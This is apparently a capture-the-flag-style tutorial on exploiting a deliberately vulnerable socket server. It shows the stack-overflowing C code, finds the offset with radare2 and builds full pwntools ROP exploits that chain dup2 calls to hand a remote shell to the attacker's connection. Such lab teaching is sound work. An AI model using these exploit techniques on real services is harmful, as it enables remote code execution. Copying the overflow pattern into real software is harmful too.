Exploit
Duplicating the Descriptors

Source

I'll include source.c, but most of it is socket programming derived from here. The two relevent functions - vuln() and win() - I'll list below.
sockets.zip
6KB
Binary
Sockets and File Descriptors
1
void vuln(int childfd) {
2
char buffer[30];
3
4
read(childfd, buffer, 500);
5
write(childfd, "Thanks!", 8);
6
}
7
8
void win() {
9
system("/bin/sh");
10
}
Copied!
Quite literally an easy ret2win.

Exploitation

Start the binary with ./vuln 9001.
Basic setup, except it's a remote process:
1
from pwn import *
2
3
elf = context.binary = ELF('./vuln')
4
p = remote('localhost', 9001)
Copied!

Testing Offset

I pass in a basic De Bruijn pattern and pause directly before:
1
payload = b'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA'
2
3
pause()
4
p.sendline(payload)
Copied!
Once the pause() is reached, I hook on with radare2 and set a breakpoint at the ret.
1
$ r2 -d -A $(pidof vuln)
2
3
[0x7f741033bdee]> pdf @ sym.vuln
4
[...]
5
└ 0x0040126b c3 ret
6
7
[0x7f741033bdee]> db 0x0040126b
8
[0x7f741033bdee]> dc
9
hit breakpoint at: 40126b
10
11
[0x0040126b]> pxq @ rsp
12
0x7ffd323ee6f8 0x41415041414f4141 0x4153414152414151 AAOAAPAAQAARAASA
13
[...]
14
15
[0x0040126b]> wopO 0x41415041414f4141
16
40
Copied!
Ok, so the offset is 40.

Generate Exploit

Should be fairly simple, right?
1
payload = flat(
2
'A' * 40,
3
elf.sym['win']
4
)
5
6
p.sendline(payload)
7
p.interactive()
Copied!
What the hell?
But if we look on the server itself:
A shell was popped there! This is the file descriptor issue we talked about before.
So we have a shell, but no way to control it. Time to use dup2.
I've simplified this challenge a lot by including a call to dup2() within the vulnerable binary, but normally you would leak libc via the GOT and then use libc's dup2() rather than the PLT; this walkthrough is about the basics, so I kept it as simple as possible.

Duplicating File Descriptors

As we know, we need to call dup2(newfd, oldfd). newfd will be 4 (our connection fd) and oldfd will be 0 and 1 (we need to call it twice to redirect bothstdin and stdout). Knowing what you do about calling conventions, have a go at doing this and then caling win(). The answer is below.

Using dup2()

Since we need two parameters, we'll need to find a gadget for RDI and RSI. I'll use ROPgadget to find these.
1
$ ROPgadget --binary vuln | grep "pop rdi"
2
0x000000000040150b : pop rdi ; ret
3
4
$ ROPgadget --binary vuln | grep "pop rsi"
5
0x0000000000401509 : pop rsi ; pop r15 ; ret
Copied!
Plonk these values into the script.
1
POP_RDI = 0x40150b
2
POP_RSI_R15 = 0x401509
Copied!
Now to get all the calls to dup2().
1
payload = flat(
2
'A' * 40,
3
4
POP_RDI,
5
4, # newfd
6
POP_RSI_R15,
7
0, # oldfd -> stdin
8
0, # junk r15
9
elf.plt['dup2'],
10
11
POP_RDI,
12
4, # newfd
13
POP_RSI_R15,
14
1, # oldfd -> stdout
15
0, # junk r15
16
elf.plt['dup2'],
17
18
elf.sym['win']
19
)
20
21
p.sendline(payload)
22
p.recvuntil('Thanks!\x00')
23
p.interactive()
Copied!
And wehey - the file descriptors were successfully duplicated!

Final Exploit

1
from pwn import *
2
3
elf = context.binary = ELF('./vuln')
4
p = remote('localhost', 9001)
5
6
POP_RDI = 0x40150b
7
POP_RSI_R15 = 0x401509
8
9
payload = flat(
10
'A' * 40,
11
12
POP_RDI,
13
4, # newfd
14
POP_RSI_R15,
15
0, # oldfd -> stdin
16
0, # junk r15
17
elf.plt['dup2'],
18
19
POP_RDI,
20
4, # newfd
21
POP_RSI_R15,
22
1, # oldfd -> stdout
23
0, # junk r15
24
elf.plt['dup2'],
25
26
elf.sym['win']
27
)
28
29
p.sendline(payload)
30
p.recvuntil('Thanks!\x00')
31
p.interactive()
Copied!

Pwntools' ROP

These kinds of chains are where pwntools' ROP capabilities really come into their own:
1
from pwn import *
2
3
elf = context.binary = ELF('./vuln')
4
p = remote('localhost', 9001)
5
6
rop = ROP(elf)
7
rop.raw('A' * 40)
8
rop.dup2(4, 0)
9
rop.dup2(4, 1)
10
rop.win()
11
12
p.sendline(rop.chain())
13
p.recvuntil('Thanks!\x00')
14
p.interactive()
Copied!
Works perfectly and is much shorter and more readable!